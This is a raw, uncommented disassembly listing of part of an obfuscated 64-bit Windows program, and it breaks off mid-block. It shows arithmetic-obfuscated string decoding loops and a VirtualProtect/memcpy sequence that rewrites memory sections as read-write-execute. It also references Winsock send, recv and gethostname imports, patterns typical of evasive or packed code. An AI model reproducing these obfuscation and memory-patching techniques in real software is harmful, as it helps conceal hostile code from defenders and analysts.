add dil, 5
add dil, dl
jmp 0x1401ddf28
movabs rdx, 0x1a72fb18fd9c43e3
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dl, 0x35
add dil, dl
jmp 0x1401ddec5
movabs rdx, 0xd6f57cbe636d2148
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 4
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x1401de911
movabs rcx, 0x66af8466c9dc97be
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x32
jmp 0x1401de935
movabs rcx, 0xf6698c0f304c0e34
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x6c
jmp 0x1401de8cc
movabs rdx, 0x862393b796bb84aa
mov ecx, reloc.WLDAP32.dll_Ordinal_45
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
jmp 0x1401de963
movabs rdx, 0x15dd9b5ffd2afb20
mov ecx, reloc.WS2_32.dll_recv
jmp 0x1401de4ae
movabs rcx, 0xa597a308639a7196
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x1a
jmp 0x1401de990
movabs rdx, 0x3551aab0ca09e80c
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x54
jmp 0x1401de81c
movabs rdx, 0xc50bb25930795e82
mov ecx, reloc.WS2_32.dll_gethostname
jmp 0x1401de443
movabs rdx, 0x54c5ba0196e8d4f8
mov ecx, Ordinal_32
jmp 0x1401de41c
movabs rcx, 0xbc16cd2696ff7d1f
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
add dil, 0x27
mov byte [rbp + r9 + 0x360], dil
jmp 0x1401de9cb
movabs rdx, 0x4bd0d4cefd6ef395
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x13
jmp 0x1401de3d4
movabs rdx, 0xdb8adc7763de6a0b
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x4d
jmp 0x1401de39b
movabs rdx, 0x6b44e41fca4de081
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
add dil, 0x79
add dil, dl
lea rax, [r10 + rbx]
cmp rax, 0x7a
je 0x1401de7f5
lea rax, [r10 + 9]
cmp rbx, rax
jbe 0x1401de628
movabs rdx, 0xe056166fcbb862f1
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
add dil, 0x69
add dil, dl
cmp rbx, 0x5a
jae 0x1401de7c7
lea rax, [r10 + 0x10]
cmp rbx, rax
jbe 0x1401de739
movabs rdx, 0xfb34c6079826071a
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
mov eax, 1
cmp r10, rax
jb 0x1401de2f1
movabs rcx, 0x5df0797397cb667e
add rcx, r9
mov al, cl
and al, r8b
mov edx, 7
sub dl, al
add dl, dl
add dl, cl
add dl, r8b
lea edi, [rdx + rdx]
jmp 0x1401de911
movabs rdx, 0xa1381d8eca91d8f6
mov ecx, reloc.WLDAP32.dll_Ordinal_35
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x1401de9bc
movabs rdx, 0x30f2253731014f6c
mov ecx, 6
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
jmp 0x1401de700
movabs rcx, 0xc0ac2cdf9770c5e2
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x2e
jmp 0x1401de81f
movabs rcx, 0x50663487fde03c58
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x68
jmp 0x1401de990
movabs rdx, 0xe0203c30644fb2ce
mov ecx, Ordinal_50
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x1401de98d
movabs rdx, 0x6fda43d8cabf2944
mov ecx, reloc.WS2_32.dll_select
jmp 0x1401de23a
movabs rcx, 0xff944b81312e9fba
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x16
jmp 0x1401de8cc
movabs rcx, 0x8f4e5329979e1630
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x50
jmp 0x1401de935
movabs rdx, 0x1f085ad1fe0d8ca6
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_60
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x1401de911
lea rax, [r10 + 9]
cmp rbx, rax
jae 0x1401de56b
lea rcx, [r9 + r11]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x63
jmp 0x1401de362
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x1401de598
movabs rcx, 0x35bd5f2f98db4852
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x3e
jmp 0x1401de9bc
lea rax, [r10 + 2]
cmp rbx, rax
jne 0x1401de5c8
movabs rdx, 0x16494fdecbfc5b66
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WLDAP32.dll_Ordinal_27
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x1401de81f
lea rax, [r10 + 3]
cmp rbx, rax
jne 0x1401de5f4
movabs rcx, 0x671b38e598adf804
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x1c
jmp 0x1401de966
lea rax, [r10 + 7]
cmp rbx, rax
jne 0x1401de362
movabs rdx, 0xd761313d323e818e
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WS2_32.dll_ntohs
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x1401de8cc
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x1401de654
movabs rcx, 0x509c0ec76548ec7b
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x5d
jmp 0x1401de911
lea rax, [r10 + 4]
cmp rbx, rax
jne 0x1401de681
movabs rcx, 0x11b3f025cb8b12a3
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x75
jmp 0x1401de98d
lea rax, [r10 + 5]
cmp rbx, rax
jne 0x1401de6ad
movabs rcx, 0x81f9e87d651b9c2d
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x3b
jmp 0x1401de990
lea rax, [r10 + 2]
cmp rbx, rax
jne 0x1401de6d9
movabs rdx, 0xf23fe0d4feac25b7
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 1
jmp 0x1401de81c
lea rax, [r10 + 3]
cmp rbx, rax
jne 0x1401de708
movabs rdx, 0x6285d92c983caf41
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
add dil, 0x39
add dil, dl
jmp 0x1401de851
lea rax, [r10 + 6]
cmp rbx, rax
jne 0x1401de39e
movabs rcx, 0xd2cbd18431cd38cb
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
add dil, 0x73
jmp 0x1401de9bc
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x1401de766
movabs rcx, 0x6b7abe5f31b690a4
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x7c
jmp 0x1401de9bc
lea rax, [r10 + 2]
cmp rbx, rax
jne 0x1401de796
movabs rdx, 0xbc4ca765fe682d42
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_27
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x1401de990
lea rax, [r10 + 4]
cmp rbx, rax
jne 0x1401de3d7
movabs rcx, 0xd1e906ccb19c9e0
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x20
jmp 0x1401de8cc
movabs rdx, 0xce3671cb315bf008
add rdx, r9
mov al, dl
and al, r8b
add al, al
mov dil, byte [rbp + r9 + 0x360]
sub dil, al
sub dil, 0x38
add dil, dl
add dil, r8b
jmp 0x1401de966
movabs rdx, 0x3e7c6a22caec7992
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 1
sub cl, al
lea edi, [rcx + rcx]
sub dil, byte [rbp + r9 + 0x360]
add dil, r8b
add dil, dl
movabs rdx, 0xf69f664e97b4be57
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov cl, r8b
sub cl, al
sub cl, 0x61
add cl, dl
movzx eax, cl
mov byte [rbp + r9 + 0x360], al
inc r10
add rax, r10
sub r9, rax
movabs rdx, 0xaec2627a647d031c
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_30
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
mov byte [rbp + r9 + 0x360], cl
inc rbx
or rax, 0xffffffffffffffff
sub rax, rbx
add r9, rax
jmp 0x1401de9bc
movabs rcx, 0x4c3c894dcc4053db
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
add dil, 3
jmp 0x1401de98d
movabs rcx, 0x6bb0989e991f40c7
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x71
mov eax, 1
jmp 0x1401de93d
movabs rcx, 0x8b24a7ef65fe2db3
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
add dil, 0x1b
jmp 0x1401de911
movabs rcx, 0xaa98b74032dd1a9f
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x59
movabs rcx, 0x1613759f6493ab43
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
add cl, 0x2b
add cl, r8b
mov byte [rbp + r9 + 0x360], cl
mov eax, 1
add r10, rax
sub r9, rax
jmp 0x1401de9d0
movabs rdx, 0x59c6ce39662b7e01
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 7
add dil, dl
movabs rcx, 0x86596df6fe2434cd
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
add cl, 0x65
add cl, dil
add cl, r8b
mov byte [rbp + r9 + 0x360], cl
add rbx, r10
movzx eax, dil
or rcx, 0xffffffffffffffff
sub rcx, rax
add r9, rcx
jmp 0x1401de9cb
movabs rcx, 0x2868f4836658ce4f
add rcx, r9
mov al, cl
and al, dl
add al, al
sub dl, al
lea edi, [rcx + rdx]
sub dil, 0x29
movzx eax, byte [rbp + r9 + 0x360]
add rax, r10
add r9, rax
mov eax, 1
add r9, rax
jmp 0x1401ddeb2
movabs rcx, 0xaa2d02c1640bba59
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x6f
jmp 0x1401ddead
movabs rcx, 0x39e70a69ca7b30cf
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
add dil, 0x57
jmp 0x1401dde9d
lea rcx, [rbp + 0x14e37bc]
jmp 0x1401dea39
lea rcx, [rbp + 0x1567c81]
jmp 0x1401dea39
lea rcx, [rbp + 0x360]
mov rax, rsi
sub rcx, rsi
mov r9d, 1
movzx r8d, byte [rax]
movzx edx, byte [rax + rcx]
sub r8d, edx
jne 0x1401dea59
add rax, r9
test edx, edx
jne 0x1401dea45
xor r13d, r13d
test r8d, r8d
jne 0x1401deab7
mov dword [rbp + 0x11a4], r13d
mov edx, dword [rsi + 8]
mov ecx, dword [rsi + 0xc]
mov rbx, qword [rbp - 0x50]
add rcx, rbx
lea r9, [rbp + 0x11a4]
lea r8d, [r13 + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov eax, dword [rsi + 0xc]
mov r8d, dword [rsi + 8]
lea rdx, [r12 + rax]
lea rcx, [rbx + rax]
call sub.VCRUNTIME140.dll_memcpy
mov edx, dword [rsi + 8]
mov ecx, dword [rsi + 0xc]
add rcx, rbx
lea r9, [rbp + 0x11a4]
mov r8d, dword [rbp + 0x11a4]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
inc r15w
cmp r15w, word [r14 + 6]
jb 0x1401dde42
mov r13, qword [rbp - 0x58]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp - 0x68]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp - 0x48]
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov byte [rbp + 0x30], 0xfe
mov byte [rbp + Ordinal_50], 0x31
mov byte [rbp + 0x32], Ordinal_200
mov byte [rbp + 0x33], 0x33
mov byte [rbp + 0x34], 0x34
mov byte [rbp + 0x35], 0xa9
xor eax, eax
mov qword [rbp + 0x36], rax
mov word [rbp + 0x3e], ax
movabs rsi, 0x1e3d3b18808e33ba
movabs r15, 0xe644ef5058e05440
movabs r12, 0xf45b168c546eb670
movabs r13, 0xe43402afcf6ee4e6
movabs r14, 0x79553d89c8c4782e
mov dil, byte [rsp + 0x50]
call fcn.14024ffe8
mov rbx, qword [rax]
call fcn.14024fff0
mov r9, qword [rax]
xor eax, eax
mov r10d, eax
cmp r10, 0x10
jae 0x1401df457
movzx r8d, byte [rbp + r10 + 0x30]
mov r11, r8
cmp rbx, r10
ja 0x1401df44e
lea rax, [r9 + 1]
cmp rbx, rax
jae 0x1401deb9f
lea rcx, [r10 + rsi]
mov rax, rcx
and rax, r8
imul rdi, rax, 0xfffffffffffffffe
add rdi, rcx
add rdi, r8
sub dil, 0x16
jmp 0x1401debd9
je 0x1401df3d0
lea rax, [r9 + 3]
cmp rbx, rax
je 0x1401df34c
lea rax, [r9 + 2]
cmp rbx, rax
je 0x1401df314
lea rax, [r9 + 4]
cmp rbx, rax
je 0x1401df2e9
lea rax, [r9 + 9]
cmp rbx, rax
je 0x1401df298
cmp r9, r10
ja 0x1401df445
lea rax, [r9 + 0x42]
cmp rbx, rax
jae 0x1401dec10
movabs rcx, 0x7b05d9028baa3e42
add rcx, r10
mov al, cl
and al, r8b
mov edi, Ordinal_27
sub dil, al
add dil, dil
add dil, cl
add dil, r8b
jmp 0x1401dec44
lea rax, [r9 + 1]
cmp rbx, rax
je 0x1401df287
lea rax, [r9 + 2]
cmp rbx, rax
je 0x1401df266
lea rax, [r9 + 5]
cmp rbx, rax
je 0x1401df23f
lea rax, [r9 + 6]
cmp rbx, rax
je 0x1401df218
lea rax, [rbx + r9]
cmp rax, r10
jbe 0x1401deebd
lea rax, [r9 + 9]
cmp rbx, rax
je 0x1401dee97
lea rax, [r9 + 0x42]
cmp rbx, rax
je 0x1401dee70
lea rax, [r9 + 0x20]
cmp rbx, rax
je 0x1401dee49
lea rax, [r9 + 5]
cmp rbx, rax
je 0x1401dee26
lea rax, [r9 + 2]
cmp rbx, rax
je 0x1401dedff
lea rbx, [r9 + 0x400]
lea r9, [rbx + 5]
lea rax, [r9 + 0x80]
cmp rbx, rax
jb 0x1401df42b
lea rax, [r9 + 0x40]
cmp rbx, rax
jb 0x1401df408
lea rax, [r9 + 0x10]
cmp rbx, rax
jb 0x1401ded31
lea rax, [r9 + 8]
cmp rbx, rax
jb 0x1401dedea
lea rbx, [r9 + 0x3e8]
lea r9, [rbx + 4]
lea rax, [r9 + 0x64]
cmp rbx, rax
ja 0x1401dedcf
lea rax, [r9 + 0x61]
cmp rbx, rax
ja 0x1401dedac
lea rax, [r9 + 0x3e8]
cmp rbx, rax
ja 0x1401ded89
lea rax, [r9 + 0x28]
cmp rbx, rax
ja 0x1401ded7b
lea rax, [r9 + 0xa]
cmp rbx, rax
ja 0x1401ded58
lea rax, [r9 + 6]
cmp rbx, rax
ja 0x1401dec51
lea rbx, [r9 + 1]
lea r9, [rbx + 0x28]
jmp 0x1401dec51
movabs rdx, 0xf24a29ebcafd4716
add rdx, r10
mov al, dl
and al, r8b
mov ecx, 0x33
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x1401deb70
movabs rcx, 0xd82ec8145d51f210
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x70
jmp 0x1401df2ba
lea rdx, [r10 + r15]
mov ecx, reloc.WLDAP32.dll_Ordinal_32
jmp 0x1401df326
movabs rcx, 0x6d5002ee56a78558
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x68
jmp 0x1401df371
movabs rcx, 0x30d58cbd558b1de4
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x3c
jmp 0x1401df39e
lea rcx, [r10 + r12]
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x10
jmp 0x1401df3ef
lea rcx, [r10 + r13]
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0x4a
jmp 0x1401def11
movabs rdx, 0xe223160f45fd758c
add rdx, r10
mov al, r8b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_22
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x1401df3ef
movabs rcx, 0xf0393d4b418bd7bc
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x24
jmp 0x1401df336
movabs rdx, 0x774450e93f5308d4
mov ecx, reloc.WLDAP32.dll_Ordinal_26
add rdx, r10
mov al, dl
and al, r8b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x1401df307
movabs rdx, 0x3ac9dab83e36a160
add rdx, r10
mov al, dl
and al, r8b
mov ecx, Ordinal_50
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x1401df2df
movabs rdx, 0xfe4f64873d1a39ec
add rdx, r10
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x74
add dil, dl
jmp 0x1401df2ba
lea rcx, [r9 + 2]
cmp rbx, rcx
jae 0x1401def79
lea rcx, [r10 + rsi]
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0x16
add cl, r8b
lea rax, [r9 + rbx]
cmp rax, 4
je 0x1401df1f0
lea rax, [r9 + 0x5a]
cmp rbx, rax
jbe 0x1401df025
movabs rcx, 0x349714d6a1e25352
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0x3e
add cl, r8b
cmp rbx, 0x28
jae 0x1401df19d
lea rax, [r9 + 0x41]
cmp rbx, rax
jbe 0x1401df0fa
movabs rcx, 0xaf9cedd92d8c9194
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0xc
add cl, r8b
cmp r9, 0x20
jb 0x1401df190
movabs rcx, 0xc658bc338a89c1c
add rcx, r10
mov al, cl
and al, r8b
mov edx, reloc.WLDAP32.dll_Ordinal_30
sub dl, al
add dl, dl
add dl, cl
add dl, r8b
lea edi, [rdx + rdx]
jmp 0x1401df2ba
lea rax, [r9 + 1]
cmp rbx, rax
jne 0x1401defa9
movabs rdx, 0xf60bb20517547c84
add rdx, r10
mov al, dl
and al, r8b
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x1401df3ef
lea rax, [r9 + 3]
cmp rbx, rax
jne 0x1401defd9
movabs rdx, 0x6f009e67198d4b6c
mov ecx, 6
add rdx, r10
mov al, dl
and al, r8b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x1401df371
cmp rbx, rcx
jne 0x1401df001
movabs rcx, 0xe7f58ac91bc61a54
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x4c
jmp 0x1401df336
mov cl, dil
lea rax, [r9 + 9]
cmp rbx, rax
jne 0x1401deedd
movabs rdx, 0xd9df638d2037b824
mov ecx, 2
jmp 0x1401df2a7
lea rax, [r9 + 1]
cmp rbx, rax
jne 0x1401df051
movabs rcx, 0x71118b07a2febac6
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x6a
jmp 0x1401df2ba
lea rax, [r9 + 2]
cmp rbx, rax
jne 0x1401df06e
movabs rdx, 0xea067769a53789ae
mov ecx, Ordinal_32
jmp 0x1401dee58
lea rax, [r9 + 5]
cmp rbx, rax
jne 0x1401df09a
movabs rcx, 0x9f75d9fca88cc00a
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x46
jmp 0x1401df339
lea rax, [r9 + 6]
cmp rbx, rax
jne 0x1401df0c6
movabs rcx, 0xdbf0502da9a9277e
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x72
jmp 0x1401df371
lea rax, [r9 + 3]
cmp rbx, rax
jne 0x1401def14
movabs rdx, 0x186ac65eaac58ef2
add rdx, r10
mov al, dl
and al, r8b
mov ecx, Ordinal_50
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x1401df39e
lea rax, [r9 + 1]
cmp rbx, rax
jne 0x1401df126
movabs rcx, 0xec17640a2ea8f908
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x38
jmp 0x1401df3ef
lea rax, [r9 + 2]
cmp rbx, rax
jne 0x1401df152
movabs rcx, 0x2891da3b2fc5607c
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x64
jmp 0x1401df39e
lea rax, [r9 + 3]
cmp rbx, rax
jne 0x1401df16f
movabs rdx, 0x650c506c30e1c7f0
mov ecx, Ordinal_60
jmp 0x1401defc1
lea rax, [r9 + 4]
cmp rbx, rax
jne 0x1401def47
movabs rdx, 0xcfeb1592378c34a8
mov ecx, 0x34
jmp 0x1401df2a7
mov byte [rbp + r10 + 0x30], cl
mov dil, cl
jmp 0x1401df3fb
movabs rcx, 0x48e001f439c50390
add rcx, r10
mov al, cl
and al, r8b
mov edx, 8
sub dl, al
add dl, dl
add dl, byte [rbp + r10 + 0x30]
add dl, cl
add dl, r8b
movabs rcx, 0x671d3d0cba53374a
add rcx, r10
mov al, r8b
and al, cl
add al, al
sub r8b, al
sub r8b, 6
add r8b, dl
add r8b, cl
mov byte [rbp + r10 + 0x30], r8b
mov dil, dl
jmp 0x1401df336
movabs rcx, 0x855a78253ae16b04
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, byte [rbp + r10 + 0x30]
lea edi, [r8 + rcx]
sub dil, 0x1c
jmp 0x1401df371
movabs rdx, 0xe5e49e289254aafa
add rdx, r10
mov al, dl
and al, r8b
mov ecx, reloc.WS2_32.dll_setsockopt
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x1401df339
movabs rdx, 0xa96a27f791384386
add rdx, r10
mov al, r8b
and al, dl
mov ecx, Ordinal_45
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x1401df336
movabs rcx, 0xf3fac5648de30d2a
add rcx, r10
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x26
jmp 0x1401df2df
movabs rdx, 0xb7804f338cc6a5b6
mov ecx, 3
jmp 0x1401df2a7
movabs rdx, 0x3e8b62d18a8dd6ce
mov ecx, Ordinal_50
add rdx, r10
mov al, dl
and al, r8b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
movabs rdx, 0x2aa2c6dbb936cfd6
add rdx, r10
mov al, r8b
and al, dl
mov ecx, reloc.WS2_32.dll_send
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
mov byte [rbp + r10 + 0x30], cl
mov eax, 1
add r9, rax
jmp 0x1401df30c
movabs rcx, 0xc596766f885507e6
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x4a
mov eax, 1
sub r10, rax
jmp 0x1401df400
movabs rdx, 0x4ca18a0d861c38fe
add rdx, r10
mov ecx, 7
mov al, dl
and al, r8b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
add rbx, r9
movzx eax, dil
or rcx, 0xffffffffffffffff
sub rcx, rax
add r10, rcx
jmp 0x1401df3fb
mov r8, r11
movabs rdx, 0xd3ac9dab83e36a16
add rdx, r10
mov al, dl
and al, r11b
mov ecx, 0x33
sub cl, al
lea edi, [rcx + rcx]
add dil, r11b
add dil, dl
movabs rcx, 0xa397b33dbb6f9ebe
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0x32
add cl, r8b
movzx eax, cl
mov byte [rbp + r10 + 0x30], al
inc r9
add rax, r9
sub r10, rax
movabs rcx, 0xc1d4ee563bfdd278
add rcx, r10
mov al, r8b
and al, cl
add al, al
sub r8b, al
sub r8b, 0x48
add r8b, cl
mov byte [rbp + r10 + 0x30], r8b
inc rbx
or rax, 0xffffffffffffffff
sub rax, rbx
add r10, rax
jmp 0x1401df3ef
movabs rcx, 0x5ab7b14981aa9b2e
add rcx, r10
mov al, r11b
and al, cl
add al, al
sub r11b, al
lea edi, [rcx + r11]
sub dil, 0x42
movzx eax, byte [rbp + r10 + 0x30]
add rax, r9
add r10, rax
mov eax, 1
add r10, rax
jmp 0x1401deb60
movabs rcx, 0xb5cfb3bac9e0dfa2
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x6e
jmp 0x1401deb5b
lea rcx, [r10 + r14]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x42
jmp 0x1401deb4b
lea rcx, [rbp + 0x14ac128]
jmp 0x1401df45b
lea rcx, [rbp + 0x118f4e2]
jmp 0x1401df45b
lea rcx, [rbp + 0x30]
mov edx, 1
call fcn.1402474a0
mov byte [rbp + 0x380], 0xfe
mov byte [rbp + 0x381], 0xb1
mov byte [rbp + 0x382], 0x87
mov byte [rbp + 0x383], 0xb3
mov byte [rbp + 0x384], 0xb4
mov byte [rbp + 0x385], reloc.WLDAP32.dll_Ordinal_41
xor eax, eax
mov qword [rbp + 0x386], rax
mov dword [rbp + 0x38e], eax
movabs rsi, 0x852f948bcec8ed5a
movabs r15, 0x5cda52a81649e85c
movabs r12, 0x527b299078b80da8
movabs r13, 0x3dbcd7613d945840
movabs r14, 0x2759038ad0d1750e
mov bl, byte [rsp + 0x50]
call fcn.14024ffe8
mov rdi, qword [rax]
call fcn.14024fff0
mov r10, qword [rax]
xor eax, eax
mov r9d, eax
cmp r9, 0x12
jae 0x1401e0069
movzx r8d, byte [rbp + r9 + 0x380]
mov rdx, r8
cmp rdi, r9
ja 0x1401e0060
lea rax, [r10 + 1]
cmp rdi, rax
jae 0x1401df52a
lea rcx, [r9 + rsi]
mov rax, rcx
and rax, rdx
imul rbx, rax, 0xfffffffffffffffe
add rbx, rcx
add rbx, rdx
sub bl, 0x76
jmp 0x1401df557
je 0x1401dffe4
lea rax, [r10 + 3]
cmp rdi, rax
je 0x1401dff5d
lea rax, [r10 + 5]
cmp rdi, rax
je 0x1401dfefe
lea rax, [r10 + 9]
cmp rdi, rax
je 0x1401dfea7
cmp r10, r9
ja 0x1401e0057
lea rax, [r10 + 0x80]
cmp rdi, rax
jae 0x1401df58f
movabs rdx, 0xece72f77f67b7862
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WLDAP32.dll_Ordinal_41
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x1401df5dd
lea rax, [r10 + 1]
cmp rdi, rax
je 0x1401dfe96
lea rax, [r10 + 2]
cmp rdi, rax
je 0x1401dfe72
lea rax, [r10 + 3]
cmp rdi, rax
je 0x1401dfe4f
lea rax, [r10 + 5]
cmp rdi, rax
je 0x1401dfe2c
lea rax, [r10 + 4]
cmp rdi, rax
je 0x1401dfe09
lea rax, [r10 + 9]
cmp rdi, rax
je 0x1401dfde3
lea rax, [rdi + r10]
cmp rax, r9
jbe 0x1401dfb5b
lea rax, [r10 + 0x10]
cmp rdi, rax
je 0x1401dfb47
lea rax, [r10 + 0xa]
cmp rdi, rax
je 0x1401dfb33
lea rax, [r10 + 9]
cmp rdi, rax
je 0x1401dfb1f
lea rax, [r10 + 8]
cmp rdi, rax
je 0x1401dfafe
lea rax, [r10 + 6]
cmp rdi, rax
je 0x1401dfadc
lea rcx, [r10 + 5]
cmp rdi, rcx
je 0x1401dfab9
lea rax, [r10 + 4]
cmp rdi, rax
je 0x1401dfa97
lea rax, [r10 + 3]
